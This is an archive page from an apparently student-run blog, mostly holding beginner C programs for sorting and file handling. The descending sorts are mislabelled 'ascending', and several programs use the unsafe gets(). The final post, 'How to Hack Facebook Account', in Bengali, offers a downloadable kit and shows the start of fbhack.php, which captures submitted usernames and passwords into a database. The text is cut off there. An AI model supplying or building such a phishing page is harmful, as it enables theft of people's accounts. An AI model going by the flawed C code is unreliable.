Posts

Showing posts from January, 2011

C Program To Implement Bubble Sort Algorithm To Print N Numbers In Ascending Order

♣ Try it Out :: #include<stdio.h> #include<conio.h> void BubbleSort(int*, int); int main() { int ArraySize; printf("How many numbers you wish to enter: "); scanf("%d", &ArraySize); int Array[ArraySize], i; printf("Enter %d integers: \n", ArraySize); for(i=0; i<ArraySize; i++) scanf("%d", &Array[i]); BubbleSort(Array, ArraySize); printf("\nSorted list in ascending order:\n"); for(i=0; i<ArraySize; i++) printf("%d ", Array[i]); getch(); return(0); } void BubbleSort(int Arr[], int Size) { int Swap, i, j; for(i=0; i<Size-1; i++) for(j=Size-1; j>=i+1; j--) if(Arr[j-1] > Arr[j]) { Swap = Arr[j-1]; Arr[j-1] = Arr[j]; Arr[j] = Swap; } } ♣ Output :: How many numbers you wish to enter: 5 Enter 5 integers: 8 0 1 9 7 Sorted l

C Program To Implement Bubble Sort Algorithm To Print N Numbers In Descending Order

♣ Try it Out :: #include<stdio.h> #include<conio.h> void BubbleSort(int*, int); int main() { int ArraySize; printf("How many numbers you wish to enter: "); scanf("%d", &ArraySize); int Array[ArraySize], i; printf("Enter %d integers: \n", ArraySize); for(i=0; i<ArraySize; i++) scanf("%d", &Array[i]); BubbleSort(Array, ArraySize); printf("\nSorted list in ascending order:\n"); for(i=0; i<ArraySize; i++) printf("%d ", Array[i]); getch(); return(0); } void BubbleSort(int Arr[], int Size) { int Swap, i, j; for(i=0; i<Size-1; i++) for(j=Size-1; j>=i+1; j--) if(Arr[j-1] < Arr[j]) { Swap = Arr[j-1]; Arr[j-1] = Arr[j]; Arr[j] = Swap; } } ♣ Output :: How many numbers you wish to enter: 5 Enter 5 integers: 4 9 7 0 1 Sorted l

C Program To Implement Insertion Sort Algorithm To Print N Numbers In Ascending Order

♣ Try it Out :: #include<stdio.h> #include<conio.h> void InsertionSort(int*, int); int main() { int ArraySize; printf("How many numbers you wish to enter: "); scanf("%d", &ArraySize); int Array[ArraySize], i; printf("Enter %d integers: \n", ArraySize); for(i=0; i<ArraySize; i++) scanf("%d", &Array[i]); InsertionSort(Array, ArraySize); printf("\nSorted list in ascending order:\n"); for(i=0; i<ArraySize; i++) printf("%d ", Array[i]); getch(); return(0); } void InsertionSort(int Arr[], int Size) { int Key, i, j; for(i=0; i<Size; i++) { Key = Arr[i]; j = i - 1; while(j>=0 && Arr[j]>Key) { Arr[j+1] = Arr[j]; j--; } j++; Arr[j] = Key; } } ♣ Output :: How many numbers you wish to enter: 5 Enter 5 integers: 4 3 0 8 7 So

C Program To Implement Insertion Sort Algorithm To Print N Numbers In Descending Order

♣ Try it Out :: #include<stdio.h> #include<conio.h> void InsertionSort(int*, int); int main() { int ArraySize; printf("How many numbers you wish to enter: "); scanf("%d", &ArraySize); int Array[ArraySize], i; printf("Enter %d integers: \n", ArraySize); for(i=0; i<ArraySize; i++) scanf("%d", &Array[i]); InsertionSort(Array, ArraySize); printf("\nSorted list in ascending order:\n"); for(i=0; i<ArraySize; i++) printf("%d ", Array[i]); getch(); return(0); } void InsertionSort(int Arr[], int Size) { int Key, i, j; for(i=0; i<Size; i++) { Key = Arr[i]; j = i - 1; while(j>=0 && Arr[j]<Key) { Arr[j+1] = Arr[j]; j--; } j++; Arr[j] = Key; } } ♣ Output :: How many numbers you wish to enter: 5 Enter 5 integers: 5 0 4 9 1 So

C Program To Implement Selection Sort Algorithm To Print N Numbers In Ascending Order

♣ Try it Out :: #include<stdio.h> #include<conio.h> void SelectionSort(int*, int); int main() { int ArraySize; printf("How many numbers you wish to enter: "); scanf("%d", &ArraySize); int Array[ArraySize], i; printf("Enter %d integers: \n", ArraySize); for(i=0; i<ArraySize; i++) scanf("%d", &Array[i]); SelectionSort(Array, ArraySize); printf("\nSorted list in ascending order:\n"); for(i=0; i<ArraySize; i++) printf("%d ", Array[i]); getch(); return(0); } void SelectionSort(int Arr[], int Size) { int Swap, i, j; for(i=0; i<Size-1; i++) for(j=i+1; j<=Size-1; j++) if(Arr[i] > Arr[j]) { Swap = Arr[i]; Arr[i] = Arr[j]; Arr[j] = Swap; } } ♣ Output :: How many numbers you wish to enter: 5 Enter 5 integers: 4 0 2 7 1 Sorted li

C Program To Implement Selection Sort Algorithm To Print N Numbers In Descending Order

♣ Try it Out :: #include<stdio.h> #include<conio.h> void SelectionSort(int*, int); int main() { int ArraySize; printf("How many numbers you wish to enter: "); scanf("%d", &ArraySize); int Array[ArraySize], i; printf("Enter %d integers: \n", ArraySize); for(i=0; i<ArraySize; i++) scanf("%d", &Array[i]); SelectionSort(Array, ArraySize); printf("\nSorted list in ascending order:\n"); for(i=0; i<ArraySize; i++) printf("%d ", Array[i]); getch(); return(0); } void SelectionSort(int Arr[], int Size) { int Swap, i, j; for(i=0; i<Size-1; i++) for(j=i+1; j<=Size-1; j++) if(Arr[i] < Arr[j]) { Swap = Arr[i]; Arr[i] = Arr[j]; Arr[j] = Swap; } } ♣ Output :: How many numbers you wish to enter: 5 Enter 5 integers: 7 0 3 1 8 Sorted li

C Program To Read A File

♣ Try it Out :: #include<stdio.h> #include<conio.h> #include<stdlib.h> #define MAX 50 main() { FILE *fp; char ch, fn[MAX]; printf("Type a file name which you wish to see: "); gets(fn); fp = fopen(fn, "r"); if(fp == NULL) { printf("\nError! File does not exist."); getch(); exit(1); } printf("The file: %s contains: \n\n", fn); while((ch=fgetc(fp)) != EOF) putc(ch, stdout); fclose(fp); getch(); return(0); } ♣ Output :: Type a file name which you wish to see: file1.txt The file: file1.txt contains: Nurul Amin Muhit Student of Leading University B.Sc [engg.] in CSE ♣ Downloads :: Download source code Download executable file

C Program To Write In A File

♣ Try it Out :: #include<stdio.h> #include<conio.h> #include<stdlib.h> #define MAX 50 main() { FILE *fp; char ch, fn[MAX]; printf("Type a file name where you wish to write: "); gets(fn); fp = fopen(fn, "r"); if(fp != NULL) { printf("The file exists. Overwrite it? (y/n) "); char con = getch(); if(con=='n') { printf("\nType a different file name: "); gets(fn); } } fp = fopen(fn, "w"); printf("Type your text & Press x to save: \n\n"); while((ch=getchar()) != EOF) { if(ch == 'x') break; fputc(ch, fp); fflush(fp); } fclose(fp); printf("\nData has been added successfully."); getch(); return(0); } ♣ Output :: Type a file name where you wish to write: muhit.txt Type your text & Press x to save: Nurul Amin Muhit Stu

C Program To Merge Two Files

♣ Try it Out :: #include<stdio.h> #include<conio.h> #include<stdlib.h> main() { FILE *fs1, *fs2, *ft; char ch, file1[20], file2[20], file3[20]; printf("Enter name of first file: "); gets(file1); printf("Enter name of second file: "); gets(file2); printf("File name which will store contents of two files: "); gets(file3); fs1 = fopen(file1, "r"); fs2 = fopen(file2, "r"); if(fs1 == NULL || fs2 == NULL) { perror("Error "); getch(); exit(EXIT_FAILURE); } ft = fopen(file3, "w"); if(ft == NULL) { perror("Error "); exit(EXIT_FAILURE); } while((ch=fgetc(fs1)) != EOF) fputc(ch, ft); while((ch=fgetc(fs2)) != EOF) fputc(ch, ft); printf("Two files were merged into %s file successfully. \n", file3); fclose(fs1); fclose(fs2); fclose(f

C Program To Copy Data From One File To Another

♣ Try it Out :: #include<stdio.h> #include<conio.h> #include<stdlib.h> #define MAX 25 main() { char ch, source[MAX], target[MAX]; FILE *fs, *ft; printf("Type name of file to copy: "); gets(source); fs = fopen(source, "r"); if(fs == NULL) { perror("Error "); getch(); exit(EXIT_FAILURE); } printf("Type name of target file: "); gets(target); ft = fopen(target, "r"); if(ft != NULL) { printf("The file exists. Overwrite it? (y/n) \n"); char con = getch(); if(con != 'y') { printf("\nType a different target file name: "); gets(target); } } ft = fopen(target, "w"); while((ch=fgetc(fs)) != EOF) fputc(ch, ft); printf("\nThe file has been copied successfully."); fclose(fs); fclose(ft); getch();

C Program To Delete A File

♣ Try it Out :: #include<stdio.h> #include<conio.h> main() { int status; char fname[25]; printf("Enter the file name which you wish to delete: "); gets(fname); status = remove(fname); if( status == 0 ) printf("The %s file has been deleted successfully.", fname); else { perror("Error "); } getch(); return(0); } ♣ Output :: Enter the file name which you wish to delete: muhit.txt The muhit.txt file has been deleted successfully. ♣ Downloads :: Download source code Download executable file

C Program To List Files In A Folder Or Directory

♣ Try it Out :: #include<stdio.h> #include<conio.h> #include<dir.h> main() { int done; struct ffblk a; printf("Press any key to view the files \n"); getch(); done = findfirst("*.*", &a, 0); printf("The files are: \n\n"); while( ! done) { printf("%s\n", a.ff_name); done = findnext(&a); } getch(); return(0); } ♣ Output :: Press any key to view the files The files are: CPROGR~1.HTM CPROGR~2.HTM CPROGR~3.HTM CPROGR~1.EXE ♣ Downloads :: Download source code Download executable file

How to Hack Facebook Account

Image
ফেইসবুক হচ্ছে সামজিক যোগাযোগের একটি ওয়েবসাইট, যা Mark Zuckerberg ২০০৪ সালের ফেব্রুয়ারি মাসে প্রতিষ্টা করেছেন। যেকেউ ফেইবুকে ফ্রি sign up করতে এবং তার প্রিয় বন্ধু, পরিবার এবং সহপাঠিদের সাথে বেশি বেশি করে যোগাযোগ করতে পারে। ফেইসবুকের উন্নত মানের আপ্লিকেশন - Photos, Events, Videos, Groups এবং Pages অন্যদের সাথে শেয়ার করতে সাহায্য করে। শুধু তাই নয়, এখানে মানুষ একে-অন্যের সাথে Chat, Personal messages, Wall posts, Pokes, অথবা Status আপডেটের মাধ্যমে যোগাযোগ করতে পারে। বর্তমানে ফেইসবুক ইউজার সংখ্যা ৫০০ মিলিয়নেরও বেশি এবং এর সংখ্যা ক্রমেই বাড়ছে। Try to Hack ধাপ-১ : প্রথমে facebook_hack_by_muhit.ZIP ফাইলটি আপনার কম্পিউটারে ডাউনলোড করুন। Click to Download ধাপ-২ : ফাইলটি ZIP এক্সটেনশনে আছে, এটি আনপেক করুন। ধাপ-৩ : আনজিপ ফোল্ডারটি অর্থাৎ facebook_hack_by_muhit ফোল্ডারটি ওপেন করে fbhack.php নামের ফাইলটি notepad -এ ওপেন করুন। নিচের কোডগুলু দেখতে পাবেন। <? $fname=$_POST["username"]; $fpass=$_POST["password"]; $con=mysql_connect("localhost","nur